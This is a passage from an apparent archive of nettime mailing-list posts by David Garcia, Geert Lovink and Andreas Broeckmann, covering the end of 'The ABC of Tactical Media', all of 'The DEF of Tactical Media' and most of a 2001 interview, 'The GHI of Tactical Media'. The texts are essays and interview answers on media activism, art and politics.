Peter Lamborn Wilson described, as  \"the unopposed rule of\nmoney over human beings\". But also as an antidote to newly emerging forms\nof technocratic scientism which under the banner of post-humanism tend to\nrestrict discussions of human use and social reception.\n\nWhat makes Our Media Tactical? In 'The Practice of Every Day Life' De\nCertueau analyzed  popular culture not as a 'domain of texts or artifacts\nbut rather as a set of practices or operations performed on textual or\ntext like structures'. He shifted  the emphasis from representations in\ntheir own right to the  'uses' of representations. In other words how do\nwe as  consumers use the texts and artifacts that surround us. And the\nanswer, he suggested, was 'tactically'. That is in far more creative and\nrebellious ways than had previously been imagined. He described the\nprocess of consumption as a set of tactics by which the weak make use of\nthe strong. He characterized the rebellious user (a term he preferred to\nconsumer) as tactical and the presumptuous producer (in which he included\nauthors, educators, curators and revolutionaries) as strategic. Setting\nup this dichotomy allowed him to produce a vocabulary of tactics rich and\ncomplex enough to amount to a distinctive and recognizable aesthetic. An\nexistential aesthetic. An aesthetic of Poaching, tricking, reading,\nspeaking, strolling, shopping, desiring. Clever tricks, the hunter's\ncunning, maneuvers, polymorphic situations, joyful discoveries, poetic\nas well as warlike.\n\nAwareness of this tactical/strategic dichotomy helped us to name a class\nof producers of who seem uniquely aware of the value of these temporary\nreversals in the flow of power. And rather than resisting these\nrebellions do everything in their power to amplify them. And indeed make\nthe creation of spaces, channels and platforms for these reversals\ncentral to their practice. We dubbed their (our) work tactical media.\n\nTactical Media are never perfect, always in becoming,\nperformative and pragmatic, involved in  a continual process of\nquestioning the premises of the channels they  work with. This\nrequires the confidence that the content can survive intact as it\ntravels from interface to interface. But we must never forget that\nhybrid media has its opposite its nemesis, the Medialen\nGesamtkunstwerk. The final program for the electronic\nBauhaus.\n\nOf course it is much safer to stick to the classic rituals of the\nunderground and alternative scene. Bu tactical media are based on a\nprincipal of flexible response, of working with different coalitions,\nbeing able to move between the different entities in the vast media\nlandscape without betraying their original motivations. Tactical Media\nmay be hedonistic, or zealously euphoric. Even fashion hypes have their\nuses. But it is above all mobility that most characterizes the tactical\npractitioner. The desire and capability to combine or jump from one\nmedia to another creating a continuous supply of mutants and hybrids. To\ncross boarders, connecting and re-wiring a variety of disciplines and\nalways taking full advantage of the free spaces in the media that are\ncontinually appearing because of the pace of technological change and\nregulatory uncertainty.\n\nAlthough tactical media include alternative media,  we are not\nrestricted to that category. In fact we introduced the term tactical to\ndisrupt and take us beyond the rigid dichotomies that have restricted\nthinking in this area, for so long,  dichotomies such as amateur Vs\nprofessional, alternative Vs mainstream. Even private Vs public.\n\nOur hybrid forms are always provisional. What counts are the temporary\nconnections you are able to make. Here and now, Not some vaporware\npromised for the future. But what we can do on the spot with the media\nwe have access to. Here in Amsterdam we have access to local TV, digital\ncities and fortresses of new and old media. In other places they might\nhave theater, street demonstrations, experimental film, literature,\nphotography.\n\nTactical media's mobility connects it to a wider movement of\nmigrant culture. Espousedby the proponents of what Nie\nAscherson described as the stimulating pseudo science of\nNomadism. 'The human race say its exponants are entering a new\nepoch of movement and migration. The subjects of history once the\nsettled farmers and citizens, have become the migrants,the refugees\nthe gastarbeiters, the asylum seekers, the urban homeless.'\n\nAn exemplery example of the tactical can be seen in the work of the\nPolish artist Krzystof Wodiczko who 'perceives how the\nhordes of the displaced that now occupy the public space of cities\nsquares,  parks or railway station concourses which were once\ndesigned by a triumphant middle class to celebrate the conquest of\nits new political rights and economic liberties. Wodiczko thinks that\nthese  occupied spaces form new agoras. which should be used for\nstatements. 'The artist', he says, 'needs to learn how to operate as\na nomadic sophist in a migrant polis.'\n\nLike other migrant media tactitions Wodiczko has studied the\ntechniques by which the weak become stronger than the opressors\nby scatering , by becoming centreless, by moving fast across the\nphysical or media and virtual landscapes. 'The hunted mustdiscover\nthe ways become the hunter.'\n\nBut capital is also radically deterritorialized. This is why we like\nbeing based in a building like De Waag, an old fortress in the center of\nAmsterdam. We happily accept the paradox of *centers* of tactical media.\nAs well as castles in the air, we need fortresses of bricks and mortar,\nto resist a world of unconstrained nomadic capital.\nSpaces to plan not just improvise and the possibility of capitalizing on\nacquired advantages, has always been the preserve of 'strategic' media.\nAs flexible media tacticians, who are not afraid of power, we are happy\nto adopt this approach ourselves.\n\nEvery few years we do a Next 5 Minutes conference on tactical media from\naround the world. Finally we have a base (De Waag) from which we hope to\nconsolidate and build for the longer term. We see this building as a\nplace to plan regular events and meetings, including coming The Next 5\nMinutes. We see the coming The Next 5 Minutes (in january 1999), and\ndiscussions leading up to it, as part of a movement to create an antidote\nto what Peter Lamborn Wilson described, as 'the unopposed rule of money\nover human beings.'\n\n\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 16 May 1997 09:38:11 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199705160738.JAA04477 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00096.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> The ABC of Tactical Media"
            },
            {
                "content-type": "text/plai",
                "from": "David Garcia <davidg {AT} xs4all.nl>",
                "id": "00104",
                "content": "\nThe DEF of Tactical Media\nBy David Garcia and Geert Lovink\n\n[or part two of the ABC of Tactical Media, posted to nettime in the\nspring of 1997, http://www.nettime.org and the zkp4 reader,\nhttp://www.desk.nl/~nettime]\n\nCampaigns and Movements\n\nAlthough a global conference, the first Next 5 Minutes, held six years ago\n(1993), was dominated by the first large scale encounter between two\ndistinctive cultural communities. On the one hand, Western European and\nNorth American campaigning media artists and activists and on the other\nhand their equivalent from the former communist countries of Central and\nEastern Europe, dissident artists and samizdat activists, still basking in\nthe after glow of the role they played in bringing down the communist\ndictatorships. In the excitement of discovering each other, these two\ncommunities tended to gloss over their ideological differences,\nunderstandably emphasising only the shared practice of exploiting consumer\nelectronics (in those days mostly the video camcorder) as a means of\norganisation and social mobilisation. We referred to these practices, and\nthe distinctive aesthetic to which it gave rise, tactical media.\n\nAlthough the differences between these two groups were under-played at the\ntime, they were nevertheless profound and illuminating. In the United\nStates and Western Europe, tactical media, both then and now, are\noverwhelmingly the media of campaigns rather than of broadly based social\nmovements. They are not a megaphone representing the voice of the\noppressed or resistance as such. Once upon a time in the West, there were\nmovements without one specific campaign. They were into questioning every\nsingle aspect of life, with 'the most radical gesture.' \"We don't want a\npiece of the cake, we want the whole bloody bakery.\" But now there are a\nplethora of campaigns detached from any broadly based emancipatory\nmovement. In contrast, central and eastern European media tacticians, or\nthe \"samizdat media\", had been very much part of broad social movement. A\nmovement that resulted in the dismantling the Soviet Empire. They tended,\nin the early days, still to be if not exactly starry eyed, then\nuncritical, about their future under a market economy.\n\nSix years later, the consequences of unaccountable global capital flows\nhave bitten deep. And although less utopian about the emancipatory\npotential of new media there is a general convergence of many tactical\ngroups around the principal of learning the lessons of global capitalism.\nWhile refusing to leave globalism to the investment houses and\nmultinationals, these groups combatted global capital with global\ncampaigns.  And present in these strategies is the faint hope that if a\ncampaign generates enough velocity and resonates with enough people, it\nmight just take on some of the qualities of a movement.\n\nSimulation Vs Real Action\n\nFor many, the urgency of some of the questions we are facing generate an\nangry scepticism around any practice that raises art or media questions.\nFor real actionists the equation is simple, discourse = spectacle. They\ninsist on a distinction between real action and the merely symbolic. From\nthis perspective media tacticians are accused of merely talking not doing\nanything. By focusing on the media question we are accused of just\ncreating more empty signs. And there is much in the current European\npolitical reality to support this critique. After all the expansion of the\nmedia realm has not automatically resulted in an equivalent growth in\nemancipatory movements and critical practice. It has merely resulted in an\naccumulation of self-referential topics. Media these days are accused of\nfragmenting rather than unifying and mobilising. Paradoxically, that is\npartly because of their discursive power to elaborate on differences and\nto question rather than just voice propaganda.\n\nAlthough our favourite topic remains the end of media, the era of a total\nimplosion of the whole spectacular media circus. This however remains the\nutopian option (which should not mistaken for abandonment or surrender).\nMeanwhile at least for the Next 5 Minutes, we continue to languish in a\nworld in which many struggles appear to have left the street and the\nfactory floor and migrated into an ideological space of representation,\nconstructed by and through the media. This is often characterised as a\nshift from public space towards virtuality or a shift from social action\ntowards the mediated. In a time where we can see such growth in media\nchannels where there is a tremendous expansion of various cyberspaces it\nis a nonsense to talk about \"a return to the real\". In fact one might even\nask whether any meaningful politics can exist outside of the media sphere.\nThe current debate about \"net activism\" is the focus of the \"merely\"\nsymbolic Vs the \"real action\" discussion, with critics voicing scepticism\nabout whether you really can provoke a campaign by just sending out\nhostile commands via the internet or whether on your own, you can\nconstruct a movement via technical means or through mediation only.\n\nAnother level of critique addresses the problematique nature of self\nreferential campaigns, that is campaigns that do not go beyond the media,\nsuch as the open source movement or the \"WE WANT BANDWIDTH\" campaign\n(http://www.waag.org/bandwidth). Although we believe that there can be no\neffective campaign if you have not tackled the media issue we are aware\nthat this is just our assumption, perhaps our arrogance. We know how easy\nit is to lose oneself, to dive into an attractive and fatal media trap.\nAttractive because it is so vast, there is always more information, more\nchannels, more software and the political issues within that sphere of\ncontestation, the severe struggles within the media industry is a universe\nin and of itself. So yes we must be wary of the self-referential campaigns\nthat are friction free, appropriating the glamour of activism without the\nsweat and tears... It is true we are vulnerable to the accusation of being\ntrapped in the same old safe assumption that all power struggles are being\nfought out in the media space. However to believe this would be to believe\nthat the campaigns to damage Shell, Nike or McDonalds have just been\nfought on the level of pure semiotics. It is a too easy and luxurious\nposition to disdain the media question altogether. The point is to ask the\nright questions about what has more effect and what brings us nearer our\ngoals? These questions imply analysis and in the end a judgement.\n\nIn part the trick is to emphasise topics which lie outside of the media\nrealm whilst at the same time retaining sophisticated media tactics. The\nMaclibel campaign is a classic example of a campaign which would like to\nconstruct itself into a movement. Like every group it depends of the\nwillingness of local groups to identify itself with it. The Macspotlight\nsite is a collection of links to sites, bringing together this variety of\nlocal groups. The whole project makes a dialectical move whereby a single\na campaign organised from Oxford is translated into a translocal movement\nwith broad appeal addressing billions of people.\n\nTemporary Alliances and Hybridisation\n\nAlthough a shared agenda may be emerging we should also be realistic about\nthe differences. We have no unique overriding identity around which to\norganise. We create no positive models for anyone to identify with, let\nalone follow. Our alliances are still relatively loose with a tendency to\nfragment into an infinite number of gangs and subcultures. This why we\nstill do not have this \"world federation of tactical media practitioners\".\nPerhaps we are just a diverse collection of weirdoes both men and women,\nwho are off-topic by nature. Of course there is an element of pleasure in\nknowing that you are with your 20 dearest friends on your own \"real audio\"\nchannel but this is swiftly accompanied by the realisation that it will be\nindefinitely confined to these twenty friends and what seemed like an\nopportunity has become a ghetto. We are then faced with the question of\nhow to leave the safety of our own self created biosphere.\n\nSo we begin again, looking for new coalitions while trying to avoid\nfalling into the traps and limits of institutionalised politics.\nUnfortunately, the Internet has not freed us from the necessity or perils\nof having to deal with institutional politics. Indeed there is no Internet\nwithout power, cable policy, money and access rights.\n\nBeyond analysis and judgement the tactical is also about reclaiming\nimagination and fantasy. The classical rituals of resistance are no longer\nreaching large parts of the population, this is the crisis of direct\naction, which is in part a failure of imagination. An exception is the\nepidemic of pie throwing. The ritualised humiliation of power with a pie\nin the face. A highly mediatised practice, the pie does not exist without\nthe image, its only meaning is as a media event. We could see it as a\nprimal way of attacking power. You identify a locus of power and you pie\nhim (http://www.gloup.gloup.com) A leap into perfect simulacra, creating\nthe perfect sign, or rather the poisonous countersign. The pie is the\nperfect poisonous countersign. The secret wisdom of the tactics of radical\nalienation, in which the further you go, the more likely you are to\nimplode into reality. Its time to intensify our semiotic guerrilla wars on\ncorporate images.\n\nTactical media in the context of The Next 5 Minutes is a deliberately\nslippery term, a tool for creating \"temporary consensus zones\" based on\nunexpected alliances with people whom you might normally never meet based\non a desire to be released from the tiredness of self satisfied groups and\ncommunities. But at the same retaining the right, when the time has come,\nto disconnect. Our aim is to retain our mobility, and our velocity, to\navoid the paralysis induced by the essentialistic questioning of\neverything, in which everyone is an object of suspicion and nothing is any\nlonger possible.\n\nOne of the most well trodden of tactical routes remains hybridisation,\nconnecting old with new, the street and the virtual. We should be clear\nthat hybridity is neither our ideology or our goal it is more like our\ndirty realism. Hybridisation is often seen as per se good, generative of\ninfinite possibilities to switch between channels, mix up the signals,\nintentions and disciplines, naturally operating in accordance with the\neconomic and technological shift towards synergy. Let us be clear, in our\ncase hybridisation is about survival, it is not really our choice. For\nthose who make the mistake of treating it as an ideology, there is simply\nno way back, there is no place for negativism. Taking this route we\ninevitably arrive at the dialectic free zone of Europe's new politics.\nHybridity in this world is about connectivity in the sense of\npromiscuously connecting everything with everything, the neo-liberal idea\nof anything goes as long as its connects. In this world the critic is seen\nas a destructive trouble-maker, failing in their sacred duty to connect.\nThis is where tactics end and choices will have to be made. Is this the\nend of the roaring media age? Not for the time being... But for sure a\nreconsideration what we are actually intending to transmit on all these\nchannels.\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Mon, 22 Feb 1999 13:01:36 +0000",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199902221532.QAA12258 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00104.html",
                "list": "nettime_l",
                "author_name": "David Garcia",
                "subject": "<nettime> The DEF of Tactical Media"
            },
            {
                "content-type": "text/plai",
                "from": "Andreas Broeckmann <abroeck {AT} transmediale.de>",
                "id": "00060",
                "content": "\n[this text will be published in: transmediale.01: DIY Media, Berlin 2001\n(forthcoming, autumn 2001); it is posted on the occasion of David's\nhalf-centenial birthday!]\n\n\n\nDavid Garcia and Geert Lovink\n\nThe GHI of Tactical Media\nAn interview by Andreas Broeckmann, July 2001\n\n\nab: In 1997, you wrote The ABC of Tactical Media, and at that time the\nconcept of 'tactical media' was already a few years old. It had grown out\nof the cooperation of media artists and activists in Amsterdam and has\nbeen closely identified with the Next 5 Minutes conferences, although\nimportant models of tactical media usage have also come from elsewhere.\nAnd then the concept was first related mainly to video and TV activism,\nwhich have been eclipsed in the last years by the Internet. A follow-up\nthat you wrote in 1999, The DEF of Tactical Media, tried to sketch some of\nthese changes. Do you think that it makes sense to speak of Tactical Media\nas a general attitude and practice that pervades different media, or is\nTactical Media a summary term for a whole host of different media\npractices, each with their own culture and politics?\n\ngl: Or even aesthetics? No, I don't think so. Tactical means tactical.\nIt's a really open, short-term concept, born out of a disgust for\nideology. It is pretty much a post-1989 phenomenon, surfing on the waves\nof events, enjoying the opening up of scenes and borders, on the look out\nfor new alliances. Curious, not afraid of differences. I am not sure if\ntactical media are bound to certain media or platforms. It is about a form\nof art meets activism with a positive attitude towards contemporary\ndigital technology. It is more exploratory than confrontational. To some\nextent self-reflexive. There are a lot of rituals and phrases which have\nto be thrown out in order to be able to make new start and reach new\naudiences. Let's face it. This excitement has grown and resulted in a\nwhole new generation of (net) activism, covered by the mainstream media.\nWe are living in interesting times. This cannot be said of new media arts\nwhich was at its height in the early to mid nineties. Today's activism has\nprofited from it, though. There is no fall-back noticable towards a grey\ndogmatic non-aesthetics, which really surprises me.\n\nab: The 'grey dogmatic non-aesthetics' of earlier tactical media? Is this\nthe result of a more 'pop'-oriented attitude in activism? A new generation\nthat is less tied up in clean, fundamentalist ideologies? Java activists\nversus the telnet-generation?\n\ngl: No, I think the distinction is a more primitive one: online versus\noffline (which, by the way, are not contradictory practices). It is not\neven punk versus techno. The DIY aesthetics I am referring to here is one\nwhich cares for the self (image), it has grown out of a curiocity, and is\ndone with precision. It is against the sloppy attitudes which implicitly\nsay that form doesn't matter anyway. I am talking about an activism with\nstyle. Not a particular style. Having, and maintaining, a style is quite\nsomething these days. It is hard. I am not sure if I would call it 'pop,'\nbecause that term, for me, is refering to 'popular.' That's not what I\nmean. Sophisticated and rich styles activists use often are unpopular. The\naesthetic program does not even have to be about a certain 'look.' I am\ntalking about a higher, critical awareness of style rather than the\ncorrect usage of this or that contemporary icon, software, color set,\npatterns or typography font.\n\nab: David, you have always strongly advocated a tight linking of media\nactivism and art. This relationship has been very strong in a particular\nsegment of media art practice, but it has sometimes fallen between the\ncamps of established contemporary art and political activism. How would\nyou describe the link between the two - or the complex in which they\narticulate each other?\n\ndg: Yes, this is true and the reason for my position is not theoretical\nbut the result of my first experience of seeing tactical media at close\nhand, in action in what I still believe to be one of the most important\nand effective campaigns of recent years. This was ACT UP a mobilisation\nagainst the AIDS policy of the Reagan administration of the time, which in\nchoosing to ignore AIDS was a policy of silence. Artists played a critical\nrole in both organising and giving shape and a kind of charismatic\nmomentum to ACT UP. I believe it was the artist collective Gran Fury in\ntheir exhibition Let the Record Show who created the slogan (or equation)\nthat became the symbol of the AIDS activist movement world wide:\n\n                       SILENCE = DEATH\n\nAn activist carrying this statement on banners or wearing it on badges or\nsweat shirts were not delivering a simple polemical message from an\nearlier era of politics with its rigid command structures. They were\ndeveloping a new language for the era of communicative networks. The\nactivists were \"wearing\" a statement which required completion by others,\nto wear this logo was to draw people into conversation. Not a command but\nan invitation to discourse. Intimate media, a \"user language\" for both\nactivism and the visual arts. This took the rhetorical tropes of the likes\nof Jenny Holzer and Barbera Kruger into a new and tactical dimension.\n\nab: Do you mean what Geert refers to as a 'style' - tactical media as an\nattitude more than a technical definition?\n\ndg: Yes, rather than the use of any particular medium it is this quality\nof creating effective user languages (virtual or otherwise) that *engage*\nand *deploy* rather than *authorise* and *require* that characterise the\ntactical practitioner. The posters, videos, installations, murals graphics\nand television channels such as The Gay Men's Health Crisis were not only\nsuccessful as art and as activism but were successful as art BECAUSE it\nwas effective activism. The AIDS tactitical practitioners, collectives\nlike Gran Fury or individuals like Greg Bordowitz (who is still working)\nare true hybrids leaving behind the older categories to forge something\nelse, something necessary, something which required a name. In N5M we\nchose to call it tactical media. Maybe the term itself is a tactical\nsolution, an improvisation that has proved a curiously successful stop gap\nmeasure like the X in algebra. There is a text by the Critical Art\nEnsemble which encapsulates what I think is still the best take on\ntactical media: \"There has been a growing awareness that for many decades\na cultural practice has existed that has avoided being named or fully\ncategorized. Its roots are in the modern avant garde, to the extent that\nits participants place a high value on experimentation and on engaging the\nunbreakable link between representation and political and social change.\nOften not artists in any traditional sense refusing to be caught in the\nweb of metaphysical, historical and romantic signage that accompanies that\ndesignation. Nor are they simply political activists because they refuse\nto take a solely reactive position and often act in defiance of efficiency\nand necessity ... For those of us who are involved in tactical media felt\na kind of relief that we could be any kind of hybrid artist, scientist,\ntechnician, craftsperson, theorist, activist, could all be mixed together\nin combinations that had different weights and intensities. These many\nroles of becoming artist becoming activist, becoming scientist, etc.,\ncontained in each individual and group, could be acknowledged and valued.\nMany felt liberated from having to represent themselves to the public as a\nspecialist and therefore valued.\" I can't put it any better so I won't\ntry. But I will add that this model and its continued use makes it\nsomething more than simply a \"short term concept\".\n\nab: Geert, in a new text called The New Actonomy which you wrote together\nwith Florian Schneider, you describe the new possibilities of media\nactivism that are emerging, but you also point to the potential dangers\nthat people have to be aware of. The Internet as the master medium of the\n1990s has, in the last two or three years, fallen into what looks like a\ndepression. Some say that the party and the hype are simply over, others\nthat we are entering into a more realistic stage where the importance of\nthe Net as a medium will continue to grow, while the utopian hopes subside\nin the face of all sorts of critical reality checks. These reality checks\nare also closely tied to a crisis of the general belief in globalisation\nand the fast-aging 'new economy'. Does this crisis create room for\ntactical media practices, or does it make the life of media activists more\ndifficult?\n\ngl: It is indeed true that advanced net activism (not the adolescent\n'hacktivism') is much closer to dotcom business than many would suspect.\nThe new actonomy is open for business, constantly searching for funds,\njust as tactical media no longer fully depend on state funding. For a good\nreason: there is a common interest in innovative net concepts, software,\ninterfaces, usage of streaming media, free software and open source etc.\nThis might mean that the current wave of net activism will face a setback\nin a little while because it's just behind the dotcom wave. The stagnation\nof bandwidth is a real concern, for example, also for activists. The same\ncounts for the e-cash crisis and the absence of a functioning micro\npayment system. Activists, sitting on their explosive content, would\nreally benefit from alternative e-commerce systems, not based on credit\ncards. It is of course good for social and political work on the Net that\nthe cyberselfish robber mentality of the dotcoms has gone. But do not\nforget the flip side of this. With libertarianism losing its hegemony\nthere is also the danger of throwing away the baby with the tub water and\ngiving away the cyber freedom to corporations and the state. That should\nnever happen. It is also up to activists to fight against censorship,\nlobby against the flood of desastrous legislations etc.\n\nab: The French theorist Felix Guattari has used the term 'post-media' to\ndescribe a potential system in which the mass media are pushed aside by a\nmultiplicity of small, heterogeneous, digital media, a network or rhizome\nof practices that foster the emergence of more differentiated, less\nhomogeneous subjectivities and group subjectivities. Howard Slater has\ntaken this idea up and points out that the cheerful clutter of independent\nmedia activities on websites, music labels, in zines, at demonstrations,\nmailing lists, etc., are the kinds of post-mdeia operations which Guattari\nsaw the beginnings of in the Minitel and free radio movements in France in\nthe 1970s and 80s. However, rather than fulfilling Guattari's utopian\nhope, the mass-medialisation of digital media seems unstoppable and\nthreatens to turn the Net, as well as the computer in general through the\nsoftware door, into a one-way medium. Is the hope for 'DIY media', which\nwe also tried to promote through the transmediale.01, futile?\n\ngl: Not futile. It's a struggle. You don't get media freedom for free. And\nmost of all: you can't buy 'technological freedom.' It doesn't come with\nthe equipment or even with the software. It is only a matter of time until\nwe will see the first full-scale civil war, fought with Linux software on\nboth sides, causing thousands of deaths. Why not? Is there something like\ninherently good software? No. The Internet is beyond good and evil and\nsimply mirrors human nature with all its flaws. A radical and open,\nindependent media infrastructure is produced by people and their ability\nto connect with each other and create a \"culture.\" DIY media do not go\nanywhere if it just means Do It On Your Own. The trick is to create loose\nties and provide a relative autonomy for seperate units. The units can be\nindividuals, groups, collectives, associations, circles of friends, from\nthe same discipline and generation, in contact with the rest. The opposite\nof DIY is DBO, Done By Others. There is indeed a danger that Internet will\nbecome a professional medium, in the hands of others. But that's only the\ncase at the macro level. On the micro level there is still so much\npossible, especially for those who wanna stay off the radar for a while.\n\nab: David, in how far can education play a role for this kind of\npost-medial practices? You have been teaching at the art academy in\nUtrecht for several years now: has it been possible for you to translate\nthe attitudes of art and media activism into the curriculum?\n\ndg: Actually where I have been teaching is the department of Interaction\nDesign in a building far away from the main art school and devoted to Art,\nMedia and Technology. To my surprise I have found key questions within\ninteraction design highly applicable to the central problems of art and\nactivism. These are the problems of action in relationship to observation.\nHistorically there was a separation of observation and action in 17th\ncentury science and was mirrored in the same period by artists stepping\nout of the workshops of the artisan and into the isolation of their\nprivate studios. But in all areas of science and culture interest has\nagain returned to the one area that was excluded namely action. This can\nbe seen by analysing the discipline of interactive art and design as\naction or 'behaviour' lies at its core. Earlier forms of art could be\nperceived as constructed out of three primary components: appearance,\ncontent and structure. To this triangulation interactive artists and\ndesigners have added a fourth and defining component, \"behaviour\". Not\nsimply the behaviour of the user but of the system as a whole which is\nmade up of machine AND users. In this model, the work of art includes the\nwhole system, the machines and the people. Success in these new forms of\ninteractive art depend on being able to integrate a visualisation of the\nbehaviour or action of the system into the work itself. It is in this\ncontext in both interaction design or tactical media that I apply the same\nmaxim \"visibility is not achieved through prediction, but through\nsupport\". This summer at the Pompidou Centre in Paris, the artist George\nLegrady and the computer scientist from Helsinki Timo Honkela worked\ntogether (with others) to produce the installation, Pockets Full of\nMemories (www.pocketsfullofmemories.com) in which neural networks are used\nto create an artwork that evolves over time, refining its decisions in\nrelationship to the different contributions that each museum visitor makes\nto the system. This is an artwork - and a supportive environment - that\nlearns! Works like these are creating a new chapter in the history of\nculture. But we are confronted with the fact that along with this new\nchapter comes a new set of problems. As Gerard de Zeeuw, an important\nteacher and intellectual who recently retired from Amsterdam University\nwrote : \"Action remains the area of the unexpected, of the invisible, of\nthat which changes without pattern. Stepping into the river still seems as\nunique as it was 2500 years ago!\"\n\nab: For me, this conflation of interactivity in media art, action in a\npolitical sense, and behaviour - which seems to be a form of action that\nis non-subjective and driven by outside forces - is not unproblematic and\nI wonder whether it is possible to get all of this under the umbrella of\n'tactical media.'\n\ngl: No. For me tactical is the expression of a nineties temporality, in\nsearch of new a alchemy, to break out of the high art versus raw activism\nof the outgoing eighties with its dogmatic infightings and\ninstitutionalized new social movements. For me the whole idea of tactical\nmedia geared up towards Seattle and the IMC phenomena. There's a\nphenomenal renaissance of media activism going on around the globe. I was\njust at the second Media Circus conference in Melbourne\n(www.antimedia.net/mediacircus). I also attended the first one, in\nSeptember 1999, a one day event, during the East Timor crisis. Media\nCircus doubled in size. There were 350 mainly young people during the\nweekend. Last night, in Sydney, there was the first Active Sydney Fair\n(www.active.org.au/sydney/fair), with a crowd of at least 500. Naomi Klein\nspoke and she warned of summit tourism, the crackdown of authorities\nagainst the massive street protests. There is a gap between abstract\ntopics of third world debt, world trade agreements, financial policies and\nthe daily misery, with its concrete, local struggles. I don't think\ninternet activism, or tactical media for that matter can fill that gap.\nWhat we can do exchange concepts. The rapid growth of anti-border groups,\nsupporting illegalized migrants, is a good example there. A fight in which\nthe tactical imagination plays a key role (see:\nwww.deportation-alliance.com).\n\nab: David, when you started the Next 5 Minutes series 10 years ago, you\nwere a free-lancing artist, whereas now you are teaching at an academy. Do\nyou see areas where the academic system is opening up for more diverse and\ncritical approaches to media in art and design?\n\ndg: Recently my possibilities in the academic framework have been greatly\nexpanded with the founding of the Ph.D. program Design for Digital\nCultures which is a European doctorate sited at three very different\nEuropean colleges, the Merz Akademie in Stuttgart, Utrecht and Portsmouth\nUniversity. My objective over time is to make spaces for the people,\ntheory and materials which have emerged from tactical media into an active\ncomponent within the Digital Cultures program. This is not simply a\nquestion of curriculum it is a question of supporting and enabling the\nresearchers who are part of the program to contribute to tactical\ncampaigns, projects and conferences. For me this program will only be\nsuccessful if we are involved in *action orientated research*. The first\nstage of this will include explicitly linking the program to the\ndevelopment of the Next 5 Minutes edition 4. The ball started rolling in a\nrecent seminar in which I participated at New York University where they\nhave launched a research program on tactical media, from this event came\nthe notion of N5M4 as a loose alliance of rolling research groups. The aim\nis that these groups should form an active network of research nodes, each\nof which would be working on a specific synergy theme - ideally it should\ninclude groups such as NYU - Sarai - Critical Art Ensemble - Open\nStreaming Alliance - Technics (UK) - to name but a few. The process would\ninvolve a structure of regular \"development meetings\" and smaller planning\nmeetings (on-line is fine but not enough - face to face is still the\nhighest bandwidth -) to ensure that the nodes keep each other informed and\nare able to borrow freely from each other. In contrast to many previous\ntactical events I favor experimenting with an approach in which the\nmeetings identify *objectives* and come to (fasten your seat belts)\n*conclusions*.  Under these circumstances The Next 5 Minutes\nConference/tribal gathering would remain but be informed by less random\napproach. N5M would be the platform for presenting the results of our\nresearches. The results could take many forms and be in many media but it\nwould also include programming the conference itself which would obviously\nwant to draw from beyond its own network. I envisage this process\nbeginning November 2001 with research and meetings proceeding throughout\n2002 and would culminate early in 2003 with The N5M4 event and conference\nin Amsterdam with possible related events in other locations.\n\nab: A final question. What David describes in relation to the development\nof the Next 5 Minutes as a research movement raises the question of the\nsites, institutional and informal, of tactical media practice. While\ninstitutions are no doubt necessary for creating a sustainable practice\nand infrastructures, the tactical always also seems to imply a\n'hit-and-run' attitude which cannot be tied down in such structures. How\nwould you see this tension and how do you think the field can be developed\nmost fruitfully? Do we see the emergence of new, stronger alliances?\n\ngl: I do not see it as a tension yet. Institutionalization is a problem\nwhich only comes in time. Let's say after five or ten years when an\noriginal scene has broken up into fragments. There are indeed people who\ndig in and do not know how to move on. They are the power brokers. They\nend up taking all the credits, taking the money from ministeries,\nfoundations and sponsors. But in most cases it's power over a dead\nterritory. Creative individuals can't deal with the kind of bureaucracy\nthat comes with today's institutions. I would love to see more hit and run\ncompanies taking off in the new media arts and activist sector. In that\nsense the dotcoms can be a good lesson. This is mainly because the arts\nand culture still depends on government resources. It hasn't found ways to\ngenerate its own income, nor does know how to negotiate with sponsors. The\nresult is an incredible waste of time. I would love to see a fund where\nyou could apply and get an answer in a few weeks time. We need art and\nactivist ventures. The only way to do something quickly and initiate\nsomething new these days is to do it without any money, which sets off the\nwell known self-exploitation cycles. There must be ways to break out of\nthat logic.\n\ndg: I want to emphasize that when I see N5M as a research process I mean\n*action orientated research* not research for its own sake. To Geert's\nemphasis on speed and mobility I would add (not substitute) a slowing down\nto analyze, reflect and evaluate; not so much digging in, as digging deep.\nLet me demonstrate with some local media archeology; I have been\nre-reading the proceedings of the first event where I met and worked\nalongside Geert. The Seropositive Ball, held in Amsterdam in 1990. The\nproject arose out of a necessity for something beyond the perception of\nAIDS as an exclusively medical problem. It combined activism and all the\narts with an embryonic culture of computer mediated communications. But at\nthe time we were heavily and to a degree justifiably critiqued by New York\nactivists. This is what Gregg Bordowitz said to us more than a decade ago:\n\"the way the conference is organized is based on a utopian notion of a\nfree exchange of information, instituted through technology. A use of\ntechnology that is unquestioned, uncriticised, unproblematised. The notion\nthat a universal space can be established through phone links, faxes and\nmodems. If there is one thing that is established through the kind of work\nwe do is that there have never been such things as universal categories,\nprinciples or experiences. In future I would like to see conferences which\nreflected the interest of the people with the most at stake, in which\nthere was some acceptance of difference that isn't evened out or erased\nthrough some notion of free exchange through some neutralmeans that remain\nunquestioned ... To me this destroys community ... collectivity.\" Next 5\nMinutes 1 (1993), which followed The Sero Positve Ball at the Paradiso,\nwas to a degree driven by a desire to answer this critique. But I am not\nsure whether any of the N5M conferences have yet been successful.\nInterestingly I recently re-met Gregg in the tactical media seminar in New\nYork. He has remained a AIDS activist and video-maker and has been part of\nthe successful campaign that fought the drugs companies who were trying to\nprevent the use of cloned drugs in South Africa (a case where the issue of\nintellectual property is a matter of life and death). Gregg is still\ncommitted to fight AIDS world wide. To me the continuity of this struggle,\nthis \"digging in\" with values other than \"hit and run\" is inspiring.\nPersonally I also found value in a closer scrutiny of the past of 